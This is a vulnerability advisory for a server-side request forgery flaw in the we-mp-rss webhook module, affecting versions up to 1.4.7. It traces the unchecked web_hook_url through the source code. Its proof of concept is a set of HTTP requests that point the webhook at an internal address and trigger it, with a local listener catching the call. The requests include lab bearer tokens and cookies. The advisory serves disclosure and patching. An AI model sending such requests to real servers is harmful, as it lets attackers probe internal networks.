Summary

An unchecked web_hook_url parameter in WebRSS's (https://github.com/rachelos/we-mp-rss/) Webhook module allows authenticated users to perform SSRF attacks.

Details

  1. When an authenticated user sets a job service in do_job()

    def do_job(mp=None,task:MessageTask=None):
            # TaskQueue.add_task(test,info=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
            # print("执行任务", task.mps_id)
            print("执行任务")
            all_count=0
            wx=WxGather().Model()
            try:
                wx.get_Articles(mp.faker_id,CallBack=UpdateArticle,Mps_id=mp.id,Mps_title=mp.mp_name, MaxPage=1,Over_CallBack=Update_Over,interval=interval)
            except Exception as e:
                print_error(e)
                # raise
            finally:
                count=wx.all_count()
                all_count+=count
                from jobs.webhook import MessageWebHook 
                tms=MessageWebHook(task=task,feed=mp,articles=wx.articles)
                web_hook(tms)       # L55 <-------------------------------------------------------
                print_success(f"任务({task.id})[{mp.mp_name}]执行成功,{count}成功条数")
    	 ...
    
  2. Enter web_hook() with "Webhook" type hook.task.message_type == 1

    def web_hook(hook:MessageWebHook):
        try:
            processed_articles = []
            if len(hook.articles)<=0:
                logger.warning("没有更新到文章")  #  `hook.articles`  cannot be empty.
                return 
            for article in hook.articles:
                if isinstance(article, dict):
                    processed_article = {
                        field.name: (
                            datetime.fromtimestamp(article[field.name]).strftime("%Y-%m-%d %H:%M:%S")
                            if field.name == "publish_time" and field.name in article
                            else article.get(field.name, "")
                        )
                        for field in Article.__table__.columns
                    }
                else:
                    processed_article = {
                        field.name: (
                            datetime.fromtimestamp(getattr(article, field.name)).strftime("%Y-%m-%d %H:%M:%S")
                            if field.name == "publish_time"
                            else getattr(article, field.name)
                        )
                        for field in Article.__table__.columns
                    }
                processed_articles.append(processed_article)
            
            hook.articles = processed_articles
            
            if hook.task.message_type == 0:  # 发送消息
                return send_message(hook)
            elif hook.task.message_type == 1:  # 调用webhook
                return call_webhook(hook)                   
            else:
                raise ValueError(f"未知的消息类型: {hook.task.message_type}")   # L209 <-------------------------------------------------------
        except Exception as e:
            raise ValueError(f"处理消息时出错: {str(e)}")
    
  3. The code enters call_webhook(), where the hook.task.web_hook_url parameter can be set to any URL

    ...
        # 检查web_hook_url是否为空
        if not hook.task.web_hook_url:
            logger.error("web_hook_url为空")
            return 
        # 发送webhook请求
        import requests
        # print_success(f"发送webhook请求{payload}")
        try:
            response = requests.post(        # L152
                hook.task.web_hook_url,      # L153  <-------------------------------------------------------
                data=payload,                # L154   
                headers={"Content-Type": "application/json"}
            )
            response.raise_for_status()
            return "Webhook调用成功"
        except Exception as e:
            raise ValueError(f"Webhook调用失败: {str(e)}")
    ...
    

PoC

  1. log in to the background,set webhook task

    PUT /api/v1/wx/message_tasks/64460700-37b3-4495-9e62-83383d3228aa HTTP/1.1
    Host: 192.168.31.19:18001
    Content-Length: 712
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2MTk4NTA3MX0.qdqa953q5ZWUY-6sXOJHaEJnad5S8Vt1-XiLBS2RwDM
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
    Accept: application/json
    DNT: 1
    Content-Type: application/json
    Origin: <http://192.168.31.19:18001>
    Referer: <http://192.168.31.19:18001/message-tasks/edit/64460700-37b3-4495-9e62-83383d3228aa>
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: Hm_lvt_975de8724ac02eb7e6d2357bb95c067d=1761613433,1761725857; HMACCOUNT=ED8BF6E3A1261C32; Hm_lpvt_975de8724ac02eb7e6d2357bb95c067d=1761727793
    Connection: keep-alive
    
    {
    "name":"test",
    "message_type":1,
    "message_template":"{\\n    'articles': [\\n    {% for article in articles %}\\n    {{article}}\\n    {% if not loop.last %},{% endif %}\\n    {% endfor %}\\n    ]\\n}",
    "web_hook_url":"<http://192.168.31.90:18085/>",
    "mps_id":"[{\\"id\\":\\"MP_WXS_3084276724\\",\\"mp_name\\":\\"新华社\\",\\"mp_cover\\":\\"<http://mmbiz.qpic.cn/mmbiz_png/azXQmS1HA7lUbOh6fqpzyseAmRpR1PryBaaCUxAuyqJO4sKj9hQO814kKgXARvMAqMtF3icxhy1lhbCT2ktyf2Q/0?wx_fmt=png\\"},{\\"id\\":\\"MP_WXS_3262986812\\",\\"mp_name\\":\\"赛博生存指南\\",\\"mp_cover\\":\\"http://mmbiz.qpic.cn/mmbiz_png/W8BrFJicfTaicbd7kn2cZBgNIaLlk75yrMSYaKQVkia524P5J7BoEBsYWI1XEWOXqDdmMcIzOYWZAiaTaqoSuvZXfg/0?wx_fmt=png\\"}]">,
    "status":1,
    "cron_exp":"*/5 * * * *"
    }
    

    image.png

  2. start the http server, run the task with id 64460700-37b3-4495-9e62-83383d3228aa

    python3 -m http.server 18085 # my pc have two ip 192.168.31.90 and 192.168.31.19
    
    GET /api/v1/wx/message_tasks/64460700-37b3-4495-9e62-83383d3228aa/run?isTest=true HTTP/1.1
    Host: 192.168.31.19:18001
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2MTk4NTA3MX0.qdqa953q5ZWUY-6sXOJHaEJnad5S8Vt1-XiLBS2RwDM
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
    Accept: application/json
    DNT: 1
    Referer: <http://192.168.31.19:18001/message-tasks>
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: Hm_lvt_975de8724ac02eb7e6d2357bb95c067d=1761613433,1761725857; HMACCOUNT=ED8BF6E3A1261C32; Hm_lpvt_975de8724ac02eb7e6d2357bb95c067d=1761727793
    Connection: keep-alive
    
  3. ssrf

    image.png

Impact

we-mp-rss ≤1.4.7